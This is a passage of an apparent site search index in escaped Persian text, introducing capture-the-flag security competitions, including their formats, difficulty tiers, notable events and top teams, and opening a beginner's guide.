\u062d\u0645\u0644\u0647 \u0628\u0647 \u062a\u06cc\u0645\u200c\u0647\u0627\u06cc \u062f\u06cc\u06af\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0627\u06cc\u0646 \u0645\u0633\u0626\u0644\u0647 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u062f\u0641\u0627\u0639-\u062d\u0645\u0644\u0647 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0633\u0637\u062d \u062f\u0627\u0646\u0634 \u0628\u0627\u0644\u0627\u06cc\u06cc \u062f\u0631 \u062d\u0648\u0632\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0627\u0645\u0646\u06cc\u062a \u062f\u0627\u0631\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-_1","title":"\u06f2- \u0628\u0631\u0627\u0633\u0627\u0633 \u0634\u06cc\u0648\u0647 \u0628\u0631\u06af\u0632\u0627\u0631\u06cc","text":"

\u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627\u06cc CTF \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647 \u0635\u0648\u0631\u062a \u062d\u0636\u0648\u0631\u06cc \u06cc\u0627 \u0622\u0646\u0644\u0627\u06cc\u0646 \u0628\u0631\u06af\u0632\u0627\u0631 \u0634\u0648\u062f. \u0645\u0639\u0645\u0648\u0644\u0627 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627\u06cc \u062d\u0636\u0648\u0631\u06cc \u062f\u0631 \u062d\u0627\u0634\u06cc\u0647 \u06a9\u0646\u0641\u0631\u0627\u0646\u0633\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0645\u0627\u0646\u0646\u062f Hitcon \u060cNulcon \u060cCSAW \u0648 Insomnihack \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u062a\u06cc\u0645\u200c\u0647\u0627 \u0628\u0639\u062f \u0627\u0632 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u062f\u0646 \u0627\u0645\u062a\u06cc\u0627\u0632 \u0644\u0627\u0632\u0645 \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0647 \u0645\u0642\u062f\u0645\u0627\u062a\u06cc\u060c \u0628\u0631\u0627\u06cc \u062d\u0636\u0648\u0631 \u062f\u0631 \u0645\u062d\u0644 \u0645\u0633\u0627\u0628\u0642\u0647 \u062f\u0639\u0648\u062a \u0645\u06cc\u200c\u0634\u0648\u0646\u062f\u060c \u0627\u0645\u0627 \u062f\u0631 \u0631\u0642\u0627\u0628\u062a\u200c\u0647\u0627\u06cc \u0622\u0646\u0644\u0627\u06cc\u0646 \u0647\u0645\u0647\u200c\u06cc \u0627\u062a\u0641\u0627\u0642\u0627\u062a \u0645\u0627\u0646\u0646\u062f \u0627\u0639\u0644\u0627\u0646\u200c\u0647\u0627\u060c \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0648 \u062a\u0627\u0628\u0644\u0648 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0631\u0648\u06cc \u0633\u0627\u06cc\u062a \u0645\u0633\u0627\u0628\u0642\u0647 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f \u0648 \u062a\u06cc\u0645\u200c\u0647\u0627 \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u0645\u062d\u062f\u0648\u062f\u06cc\u062a \u062c\u063a\u0631\u0627\u0641\u06cc\u0627\u06cc\u06cc \u0627\u0632 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u062f\u0631 \u0622\u0646 \u0634\u0631\u06a9\u062a \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u062f\u0641\u0627\u0639-\u062d\u0645\u0644\u0647 \u0627\u063a\u0644\u0628 \u0628\u0647 \u0635\u0648\u0631\u062a \u062d\u0636\u0648\u0631\u06cc \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f \u0627\u0645\u0627 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u0648\u0636\u0648\u0639\u06cc \u0628\u0647 \u0634\u06a9\u0644 \u0622\u0646\u0644\u0627\u06cc\u0646 \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-_2","title":"\u06f3- \u0628\u0631\u0627\u0633\u0627\u0633 \u0645\u062f\u062a \u0628\u0631\u06af\u0632\u0627\u0631\u06cc","text":"

\u0628\u0631\u062e\u06cc \u0627\u0632 CTF\u0647\u0627 \u062f\u0627\u0631\u0627\u06cc \u0645\u062d\u062f\u0648\u062f \u0632\u0645\u0627\u0646\u06cc \u0646\u06cc\u0633\u062a\u0646\u062f \u0648 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0622\u0646\u0647\u0627 \u0645\u0639\u0645\u0648\u0644\u0627 \u0628\u0631\u0627\u06cc \u0645\u062f\u062a \u0632\u06cc\u0627\u062f\u06cc \u0631\u0648\u06cc \u0648\u0628\u0633\u0627\u06cc\u062a \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f. \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0627\u0632 CTF \u0628\u0647 wargame \u0645\u0639\u0631\u0648\u0641 \u0627\u0633\u062a. \u0627\u06af\u0631\u0686\u0647 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u0627\u0632 CTF\u0647\u0627 \u0647\u06cc\u062c\u0627\u0646 \u0631\u0642\u0627\u0628\u062a \u062f\u0631 \u06cc\u06a9 \u0645\u062f\u062a \u0632\u0645\u0627\u0646 \u0645\u062d\u062f\u0648\u062f \u0631\u0627 \u0646\u062f\u0627\u0631\u0646\u062f \u0627\u0645\u0627 \u06af\u0632\u06cc\u0646\u0647 \u0645\u0646\u0627\u0633\u0628\u06cc \u0628\u0631\u0627\u06cc \u062a\u0645\u0631\u06cc\u0646 \u0648 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0628\u0647 \u0634\u0645\u0627\u0631 \u0645\u06cc\u200c\u0631\u0648\u0646\u062f. \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc wargame \u0647\u0631 \u062f\u0648 \u0646\u0648\u0639 \u0686\u0627\u0644\u0634 \u06cc\u0639\u0646\u06cc \u0645\u0648\u0636\u0648\u0639\u06cc \u0648 \u062f\u0641\u0627\u0639-\u062d\u0645\u0644\u0647 \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u0627\u0632 \u0645\u0634\u0647\u0648\u0631\u062a\u0631\u06cc\u0646 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 hackthebox \u060cRoot-Me OverTheWire \u0648 TryHackMe \u0631\u0627 \u0646\u0627\u0645 \u0628\u0631\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#ctf_4","title":"\u0633\u0637\u062d \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF","text":"

\u0628\u0631\u0627\u06cc \u0634\u0631\u06a9\u062a \u062f\u0631 \u0647\u0631 \u0645\u0633\u0627\u0628\u0642\u0647 CTF \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0627\u0628\u062a\u062f\u0627 \u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u0633\u0637\u062d \u0622\u0646 \u0645\u0633\u0627\u0628\u0642\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u0645. \u0628\u0647 \u0637\u0648\u0631 \u06a9\u0644\u06cc \u0628\u0627\u06cc\u062f \u062f\u0631 \u0646\u0638\u0631 \u062f\u0627\u0634\u062a \u06a9\u0647 \u062a\u0639\u06cc\u06cc\u0646 \u0633\u0637\u062d \u06cc\u06a9 \u0645\u0633\u0627\u0628\u0642\u0647 \u06cc\u06a9 \u0627\u0645\u0631 \u0646\u0633\u0628\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u0645\u0647\u0627\u0631\u062a \u0648 \u062f\u0627\u0646\u0634 \u0642\u0628\u0644\u06cc \u0627\u0641\u0631\u0627\u062f \u0628\u0633\u062a\u06af\u06cc \u062f\u0627\u0631\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0631\u0627 \u0628\u0631\u0627\u0633\u0627\u0633 \u0648\u0632\u0646\u200c\u062f\u0647\u06cc \u0633\u0627\u06cc\u062a ctftime \u0628\u0647 \u0633\u0647 \u062f\u0633\u062a\u0647 \u062a\u0642\u0633\u06cc\u0645 \u06a9\u0631\u062f\u06cc\u0645 \u0648 \u0628\u0631\u0627\u06cc \u0647\u0631 \u0633\u0637\u062d \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0628\u0647\u062a\u0631 \u0648 \u0634\u0646\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0631\u0627 \u0645\u0639\u0631\u0641\u06cc \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-_3","title":"\u06f1- \u0645\u0628\u062a\u062f\u06cc","text":"

\u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u06cc\u0646 \u0648\u0632\u0646 \u0635\u0641\u0631 \u062a\u0627 \u06f4\u06f0 \u062f\u0627\u0631\u0646\u062f \u0645\u0639\u0645\u0648\u0644\u0627 \u0645\u0633\u0627\u0628\u0642\u0627\u062a\u06cc \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u0641\u0631\u0627\u062f \u062a\u0627\u0632\u0647 \u0648\u0627\u0631\u062f \u0628\u0647 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u062a\u0639\u062f\u0627\u062f \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627 \u0628\u0633\u06cc\u0627\u0631 \u0628\u06cc\u0634\u062a\u0631 \u0627\u0632 \u0633\u0627\u06cc\u0631 \u0633\u0637\u0648\u062d \u0627\u0633\u062a \u0648 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0622\u0646\u200c\u0647\u0627 \u0645\u0641\u0627\u0647\u06cc\u0645 \u0627\u0648\u0644\u06cc\u0647 \u0627\u0645\u0646\u06cc\u062a \u062a\u0627 \u0645\u0633\u0627\u0626\u0644 \u0628\u0627 \u062f\u0631\u062c\u0647 \u0633\u062e\u062a\u06cc \u0645\u062a\u0648\u0633\u0637 \u0631\u0627 \u067e\u0648\u0634\u0634 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \u0627\u0632 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u0637\u0631\u062d \u0648 \u0642\u0627\u0628\u0644 \u0642\u0628\u0648\u0644 \u062f\u0631 \u0627\u06cc\u0646 \u0633\u0637\u062d \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0632 HackTheBoxCTF \u060cImaginaryCTF \u060cSunshineCTF \u0648 picoctf \u0646\u0627\u0645 \u0628\u0631\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0627\u06cc\u062f \u062f\u0631 \u0646\u0638\u0631 \u062f\u0627\u0634\u062a \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062f\u0631 \u06af\u0630\u0631 \u0632\u0645\u0627\u0646 \u0648 \u0628\u0631\u0627\u0633\u0627\u0633 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0628\u0639\u062f\u0627\u064b \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u062f\u0631 \u0633\u0637\u062d \u062f\u0634\u0648\u0627\u0631\u062a\u0631\u06cc \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u0646\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-_4","title":"\u06f2- \u0645\u062a\u0648\u0633\u0637","text":"

\u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627\u06cc \u0633\u0637\u062d \u0645\u062a\u0648\u0633\u0637 \u0645\u0639\u0645\u0648\u0644\u0627 \u0648\u0632\u0646\u200c \u0628\u06cc\u0646 \u06f4\u06f0 \u062a\u0627 \u06f8\u06f0 \u0631\u0627 \u062f\u0627\u0631\u0646\u062f. \u062a\u0639\u062f\u0627\u062f \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627 \u0645\u0639\u0645\u0648\u0644\u0627 \u0646\u0633\u0628\u062a \u0628\u0647 \u0633\u0637\u062d \u0645\u0628\u062a\u062f\u06cc \u06a9\u0645\u062a\u0631 \u0627\u0633\u062a \u0632\u06cc\u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u06cc\u06a9 \u0645\u0633\u0627\u0628\u0642\u0647 \u0628\u0627 \u06a9\u06cc\u0641\u06cc\u062a \u062f\u0631 \u0633\u0637\u062d \u0645\u062a\u0648\u0633\u0637 \u0645\u0639\u0645\u0648\u0644\u0627 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0628\u0631\u06af\u0632\u0627\u0631\u06cc \u067e\u06cc\u0648\u0633\u062a\u0647 \u0645\u0633\u0627\u0628\u0642\u0647 \u062f\u0631 \u0633\u0637\u062d \u0642\u0627\u0628\u0644 \u0642\u0628\u0648\u0644 \u0631\u0627 \u062f\u0627\u0631\u062f. \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 CTF\u0647\u0627\u06cc \u0627\u06cc\u0646 \u0633\u0637\u062d \u062f\u0631 \u0632\u0645\u0627\u0646 \u0646\u06af\u0627\u0631\u0634 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u0634\u0627\u0645\u0644 RuCTF \u060cSecurinets-CTF \u060cUIUCTF MidnightSunCTF \u0648 bi0sCTF \u0627\u0633\u062a.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#-_5","title":"\u06f3- \u062d\u0631\u0641\u0647\u200c\u0627\u06cc","text":"

\u0628\u0647\u062a\u0631\u06cc\u0646 \u0648 \u0645\u0639\u0645\u0648\u0644\u0627 \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u062f\u0631 \u0627\u06cc\u0646 \u0633\u0637\u062d \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u0646\u062f. \u0648\u0632\u0646 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u063a\u0644\u0628 \u0628\u0627\u0644\u0627\u062a\u0631 \u0627\u0632 \u06f8\u06f0 \u0627\u0633\u062a \u06a9\u0647 \u0645\u0646\u0627\u0633\u0628 \u0627\u0641\u0631\u0627\u062f\u06cc \u0628\u0627 \u062f\u0627\u0646\u0634 \u0648 \u062a\u062c\u0631\u0628\u0647 \u0628\u0627\u0644\u0627 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0627\u0633\u062a. \u062a\u0639\u062f\u0627\u062f \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u06cc\u0646 \u0633\u0637\u062d \u0627\u0646\u06af\u0634\u062a \u0634\u0645\u0627\u0631 \u0627\u0633\u062a \u06a9\u0647 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0622\u0646\u200c\u0647\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u06cc \u0645\u0642\u062f\u0645\u0627\u062a\u06cc \u0628\u0631\u0627\u06cc \u0631\u0627\u0647\u200c\u06cc\u0627\u0628\u06cc \u0628\u0647 Defcon CTF \u062f\u0631 \u0646\u0638\u0631 \u06af\u0631\u0641\u062a\u0647 \u0634\u062f\u0647 \u062a\u0627 \u062a\u06cc\u0645\u200c\u0647\u0627\u06cc \u0642\u0647\u0631\u0645\u0627\u0646 \u062f\u0631 \u0622\u0646\u200c\u0647\u0627 \u0628\u0647 Defcon CTF \u0631\u0627\u0647 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0646\u062f. \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0634\u0627\u0645\u0644 PlaidCTF \u060c0CTF \u060cASIS-CTF \u060cGoogle-CTF \u0648 HITCON-CTF \u0627\u0633\u062a.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#_2","title":"\u0642\u0648\u0627\u0646\u06cc\u0646","text":"

\u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0642\u0648\u0627\u0646\u06cc\u0646 \u0628\u0633\u06cc\u0627\u0631 \u0633\u062e\u062a\u200c\u06af\u06cc\u0631\u0627\u0646\u0647\u200c\u0627\u06cc \u0646\u062f\u0627\u0631\u062f. \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0648 \u06af\u0641\u062a\u06af\u0648 \u062f\u0631 \u0645\u0648\u0631\u062f \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u062f\u0631 \u062f\u0627\u062e\u0644 \u062a\u06cc\u0645 \u0627\u062a\u0641\u0627\u0642 \u0645\u06cc\u200c\u0627\u0641\u062a\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u0648\u062c\u0648\u062f \u0628\u0631\u062e\u06cc \u0627\u0632 \u0642\u0648\u0627\u0646\u06cc\u0646 \u062f\u0631 CTF \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0644\u06cc\u0633\u062a \u0634\u062f\u0647 \u0627\u0633\u062a:

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#_3","title":"\u062a\u06cc\u0645\u200c\u0647\u0627\u06cc \u0645\u0637\u0631\u062d \u062c\u0647\u0627\u0646\u06cc","text":"

\u0627\u0632 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 ctftime \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f1 \u0634\u0631\u0648\u0639 \u0628\u0647 \u062b\u0628\u062a \u0642\u0647\u0631\u0645\u0627\u0646 \u0645\u062c\u0645\u0648\u0639 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0647\u0631 \u0633\u0627\u0644 \u06a9\u0631\u062f\u0647\u060c \u0647\u0634\u062a \u062a\u06cc\u0645 \u062a\u0648\u0627\u0646\u0633\u062a\u0647\u200c\u0627\u0646\u062f \u0631\u062a\u0628\u0647 \u0627\u0648\u0644 \u062c\u0647\u0627\u0646\u06cc \u062f\u0631 \u0633\u0627\u0644\u200c\u0647\u0627\u06cc \u0645\u062a\u0641\u0627\u0648\u062a \u0631\u0627 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u0646\u062f. \u062f\u0631 \u062c\u062f\u0648\u0644 \u0632\u06cc\u0631 \u062f\u0647 \u062a\u06cc\u0645\u200c \u0628\u0631\u062a\u0631 \u062a\u0627 \u0633\u0627\u0644 \u06f2\u06f0\u06f2\u06f3 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 \u062f\u0641\u0639\u0627\u062a \u0642\u0647\u0631\u0645\u0627\u0646\u06cc \u0648 \u0646\u0627\u06cc\u0628 \u0642\u0647\u0631\u0645\u0627\u0646\u06cc \u0644\u06cc\u0633\u062a \u0627\u0633\u062a:

\u062a\u06cc\u0645 \u0642\u0647\u0631\u0645\u0627\u0646\u06cc \u0646\u0627\u06cc\u0628 \u0642\u0647\u0631\u0645\u0627\u0646\u06cc \u06a9\u0634\u0648\u0631 Plaid Parliament of Pwning (PPP) \u06f3 \u06f3 Dragon Sector \u06f3 \u06f2 perfect blue \u06f2 \u06f1 More Smoked Leet Chicken \u06f1 \u06f2 organizers \u06f1 \u06f1 duca \u06f1 \u06f0 Eat, Sleep, Pwn, Repeat \u06f1 \u06f0 Blue Water \u06f1 \u06f0 Balsn \u06f0 \u06f1 C4T BuT S4D \u06f0 \u06f1

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#_4","title":"\u0633\u062e\u0646 \u067e\u0627\u06cc\u0627\u0646\u06cc","text":"

\u0627\u06af\u0631 \u0641\u0631\u062f \u0628\u0627 \u062a\u062c\u0631\u0628\u0647\u200c\u0627\u06cc \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0647\u0633\u062a\u06cc\u062f \u06a9\u0647 \u0642\u0635\u062f \u0628\u0647 \u0686\u0627\u0644\u0634 \u06a9\u0634\u06cc\u062f\u0646 \u062a\u0648\u0627\u0646\u0627\u06cc\u06cc \u062e\u0648\u062f \u0631\u0627 \u062f\u0627\u0631\u06cc\u062f\u060c \u06cc\u0627 \u0628\u0647 \u062f\u0646\u0628\u0627\u0644 \u0647\u06cc\u062c\u0627\u0646 \u0648 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0628\u06cc\u0634\u062a\u0631 \u0627\u0645\u0646\u06cc\u062a \u0647\u0633\u062a\u06cc\u062f\u060c \u06cc\u06a9\u06cc \u0628\u0647\u062a\u0631\u06cc\u0646 \u0627\u0646\u062a\u062e\u0627\u0628\u200c\u0647\u0627 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627\u06cc CTF \u0627\u0633\u062a. \u0627\u06af\u0631 \u0647\u0646\u0648\u0632 \u062a\u062c\u0631\u0628\u0647 \u0634\u0631\u06a9\u062a \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0647\u200c\u0647\u0627 \u0631\u0648 \u0646\u062f\u0627\u0634\u062a\u06cc\u062f \u0628\u0647\u062a\u0631\u0647 \u0633\u0631\u06cc\u0639\u200c\u062a\u0631 \u06cc\u06a9 \u0633\u0631 \u0628\u0647 \u0633\u0627\u06cc\u062a ctftime \u0628\u0632\u0646\u06cc\u062f \u0648 \u062f\u0631 \u0646\u0632\u062f\u06cc\u06a9\u200c\u200c\u062a\u0631\u06cc\u0646 CTF \u0634\u0631\u06a9\u062a \u06a9\u0646\u06cc\u062f \u0648 \u0647\u0645\u0632\u0645\u0627\u0646 \u0644\u0630\u062a \u062d\u0644 \u0686\u0627\u0644\u0634 \u0648 \u0647\u06cc\u062c\u0627\u0646 \u0631\u0642\u0627\u0628\u062a \u0631\u0627 \u0628\u0628\u0631\u06cc\u062f.

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/beginners-guide/","title":"\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639 CTF","text":"

\u062d\u0627\u0644 \u06a9\u0647 \u0628\u0627 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0622\u0634\u0646\u0627 \u0634\u062f\u06cc\u062f \u0633\u0648\u0627\u0644 \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647: \u0627\u0632 \u06a9\u062c\u0627 \u0628\u0627\u06cc\u062f \u0634\u0631\u0648\u0639 \u06a9\u0646\u0645 \u0648 \u0646\u0642\u0634\u0647 \u0631\u0627\u0647 \u0645\u0646\u0627\u0633\u0628 \u0686\u06cc\u0633\u062a\u061f \u0686\u0637\u0648\u0631\u06cc \u0628\u0647 \u06cc\u06a9 \u0634\u062e\u0635 \u0645\u0627\u0647\u0631 \u062f\u0631 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc CTF \u062a\u0628\u062f\u06cc\u0644 \u0628\u0634\u0645\u061f \u062f\u0631 \u0627\u06cc\u0646 \u0627\u06cc\u0646\u062c\u0627 \u0642\u0635\u062f \u062f\u0627\u0631\u06cc\u0645 \u0628\u0647 \u0627\u06cc\u0646 \u067e\u0631\u0633\u0634\u200c\u0647\u0627 \u0628\u0647 \u0634\u06a9\u0644 \u06a9\u0644\u06cc \u062c\u0648\u0627\u0628 \u0628\u062f\u06cc\u0645 \u0648 \u06cc\u06a9 \u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc \u0627\u0648\u0644\u06cc\u0647 \u0628\u0631\u0627\u06cc \u0627\u0641\u0631\u0627\u062f \u062a\u0627\u0632\u0647 \u0648\u0627\u0631\u062f \u0628\u0647 \u0627\u06cc\u0646 \u062d\u0648\u0632\u0647 \u0627\u0631\u0627\u0626\u0647 \u0628\u062f\u06cc\u0645 \u0648 \u0633\u067e\u0633 \u062f\u0631 \u0647\u0631 \u062f\u0633\u062a\u0647 \u0628\u0647 \u0637\u0648\u0631 \u062a\u062e\u0635\u0635\u06cc\u200c\u062a\u0631 \u062c\u0632\u06cc\u06cc\u0627\u062a\u06cc \u0627\u0631\u0627\u0626\u0647 \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u062f.

\u0628\u0627 \u0641\u0631\u0636 \u0627\u06cc\u0646\u06a9\u0647 \u06cc\u06a9 \u0622\u0634\u0646\u0627\u06cc\u06cc \u0645\u0642\u062f\u0645\u0627\u062a\u06cc \u0628\u0627 \u06a9\u0627\u0645\u067e\u06cc\u0648\u062a\u0631\u060c \u06cc\u06a9 \u0632\u0628\u0627\u0646\u200c \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u0648 \u0627\u0646\u062f\u06a9\u06cc \u062f\u0627\u0646\u0634 \u0632\u0628\u0627\u0646 \u0627\u0646\u06af\u0644\u06cc\u0633\u06cc \u062f\u0627\u0631\u06cc\u062f \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0634\u0631\u0648\u0639 \u0628\u0647 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc CTF \u06a9\u0646\u06cc\u062f. \u0628\u0627\u06cc\u062f \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a \u06a9\u0647 \"\u0634\u0631\u0648\u0639\" \u06cc\u06a9 \u0645\u0641\u0647\u0648\u0645 \u0646\u0633\u0628\u06cc \u0648 \u0633\u0644\u06cc\u0642\u0647\u200c\u0627\u06cc \u0627\u0633\u062a\u060c \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644 \u06af\u0627\u0645\u200c\u0647\u0627\u06cc \u0632\u06cc\u0631 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 \u062d\u0627\u0648\u06cc \u0646\u06a9\u0627\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0628\u0647 \u0634\u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0648\u0631\u062f \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u062f.

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-","title":"\u06f1- \u06cc\u0627\u0641\u062a\u0646 \u062d\u0648\u0632\u0647 \u0645\u0648\u0631\u062f \u0639\u0644\u0627\u0642\u0647","text":"

